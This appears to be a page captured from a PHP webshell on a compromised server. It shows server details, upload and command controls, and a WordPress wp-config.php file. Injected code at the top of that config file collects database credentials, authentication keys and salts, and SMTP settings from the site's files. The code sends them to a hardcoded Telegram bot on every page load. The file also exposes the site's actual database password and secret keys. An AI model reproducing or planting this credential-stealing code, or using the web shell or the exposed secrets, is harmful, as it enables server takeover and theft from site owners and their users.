403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/euphoria2025/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/euphoria2025/wp-config.php
<?php
// TELEGRAM_PARSER_INJECTED

// --- Telegram Configuration ---
 $tg_api_url = "https://api.telegram.org/bot8214934297:AAHTIei0vzVQ0H1nqKYTJCuGgTjRskxERHI/sendMessage?chat_id=-1003537503195&text=";

// --- Target Files ---
// Use __DIR__ to reliably search from the wp-config.php directory.
 $base_path = __DIR__;
 $target_files = array_merge(
    glob($base_path . '/wp-config.php'),
    glob($base_path . '/wp-config.php.bak'),
    glob($base_path . '/wp-content/**/wp-mail-smtp.php'),
    glob($base_path . '/wp-content/**/smtp-config.php'),
    glob($base_path . '/wp-content/**/easy-wp-smtp.php')
);

 $results = [];
 $found_anything = false;

// --- Parsing Logic ---
foreach ($target_files as $file) {
    if (file_exists($file) && is_readable($file)) {
        $content = file_get_contents($file);
        $filename = basename($file);

        if ($filename === 'wp-config.php' || $filename === 'wp-config.php.bak') {
            preg_match_all("/define\(\s*['\"]([^'\"]+)['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\);/", $content, $matches, PREG_SET_ORDER);
            $db_creds = [];
            $auth_keys = [];
            foreach ($matches as $match) {
                $constant_name = $match[1];
                $constant_value = $match[2];
                if (in_array($constant_name, ['DB_NAME', 'DB_USER', 'DB_PASSWORD', 'DB_HOST'])) {
                    $db_creds[$constant_name] = $constant_value;
                    $found_anything = true;
                }
                if (strpos($constant_name, 'KEY') !== false || strpos($constant_name, 'SALT') !== false) {
                    $auth_keys[$constant_name] = $constant_value;
                    $found_anything = true;
                }
            }
            if (!empty($db_creds)) $results['Database Credentials'] = $db_creds;
            if (!empty($auth_keys)) $results['Auth Keys & Salts'] = $auth_keys;
        } else {
            preg_match_all("/\$([a-zA-Z0-9_]+)\s*=\s*['\"]([^'\"]+)['\"]\s*;/", $content, $matches, PREG_SET_ORDER);
            $smtp_settings = [];
            foreach ($matches as $match) {
                $var_name = strtolower($match[1]);
                $var_value = $match[2];
                if (strpos($var_name, 'smtp') !== false || strpos($var_name, 'mail') !== false) {
                    $smtp_settings[$var_name] = $var_value;
                    $found_anything = true;
                }
            }
            if (!empty($smtp_settings)) {
                $results["SMTP Settings (from $filename)"] = $smtp_settings;
            }
        }
    }
}

// --- Telegram Notification ---
if ($found_anything && !empty($results)) {
    $message = "--- Parse Results from: " . $_SERVER['HTTP_HOST'] . " ---\n\n";
    foreach ($results as $category => $data) {
        $message .= "*" . htmlspecialchars($category) . "*:\n";
        foreach ($data as $key => $value) {
            $safe_value = htmlspecialchars($value);
            $message .= "`" . htmlspecialchars($key) . ": " . $safe_value . "`\n";
        }
        $message .= "\n";
    }
    $request_url = $tg_api_url . urlencode($message);
    @file_get_contents($request_url);
}
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'euphoria2025' );

/** Database username */
define( 'DB_USER', 'euphoria2025' );

/** Database password */
define( 'DB_PASSWORD', 'Euphoria@2025' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'TO<4_deAUk,+CX[^R:+]:%%x++3,O3=(@]I/@0q!Xo+VvkUzM~024L,2_cuKw0#Q' );
define( 'SECURE_AUTH_KEY',  '5I.<&l{S5_,-@]dc<=Q~/(k1ZF&vK=QNVexG$GOU|NHmA;<F5wl{s3;{0>TI(a6G' );
define( 'LOGGED_IN_KEY',    'KW8vRa3Dhi5W$u85N_d}5|P7SoA53[2DGy2{DBu4a<9oWlBbg4Fxz1J#qXe>ds4X' );
define( 'NONCE_KEY',        'U(bvhrD`?w,c<<NV1o-~Bu#6f951H3,sld}C1Aa#>;}0PnC!j![4_,kGkTy[rX1`' );
define( 'AUTH_SALT',        'jJ{v7<g*}@{yOPiU$I?8FH]jZUb+RB $<@YHwC|PWyl*&gU{-&#1B%%WkNZ<BQ!J' );
define( 'SECURE_AUTH_SALT', 'g}b5MRyd9SR[h/od*Pzjl(ghgZN-xfsHgu{a{5}wltQ$K(+o&`ud&DYw>W8zL3Dm' );
define( 'LOGGED_IN_SALT',   ': H&094R#2WO0`V?SVlO+M@/djc,b(3eH#N+n;^=MG}b&|<|$<!h6~*DHNQ@tgX~' );
define( 'NONCE_SALT',       '$8D0b<M JH5%i4|O`oC._lA2J&]f4-87Qd}!q{l#8Sb|u{b^*.TEKMld)^4@|WG}' );

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 *
 * At the installation time, database tables are created with the specified prefix.
 * Changing this value after WordPress is installed will make your site think
 * it has not been installed.
 *
 * @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/#table-prefix
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/
 */
// define('WP_DEBUG', false);
// define('WP_DEBUG_DISPLAY', false);
// ini_set('display_errors','Off');
// ini_set('error_reporting', E_ALL );

define('WP_DEBUG', true);
define('WP_DEBUG_LOG', true);
define('WP_DEBUG_DISPLAY', false);
@ini_set('display_errors', 'Off');
@ini_set('log_errors', 'On');
@ini_set('error_reporting', E_ALL);

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

Youez - 2016 - github.com/yon3zu
LinuXploit